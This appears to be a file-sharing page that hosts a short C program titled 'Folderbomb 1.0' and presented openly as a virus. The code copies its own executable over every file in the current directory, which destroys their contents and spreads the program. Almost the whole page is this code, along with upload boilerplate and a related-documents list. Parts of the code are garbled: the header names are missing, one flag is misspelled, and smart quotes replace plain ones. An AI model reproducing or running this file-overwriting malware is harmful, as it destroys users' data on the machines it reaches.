Its Virus In C Lang

  • June 2020
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Its Virus In C Lang as PDF for free.

More details

  • Words: 90
  • Pages: 1
its virus in c lang /*this is a simple program to create a virus in c it will create folder in a folder in a folder and so on run this on your own responsibility*/ #include #include #include #include #include void main(int argc,char* argv[]) { char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf(”————————————————————————–”); printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan([email protected])\n”); cprintf(”————————————————————————–”); done = findfirst(”*.*”,&ffblk,0); while (!done) { printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

Related Documents

Its Virus In C Lang
June 2020 7
C Lang
November 2019 44
Lang
May 2020 30
Lang
October 2019 44
Voice In Phil Lang
November 2019 9
Lang
May 2020 35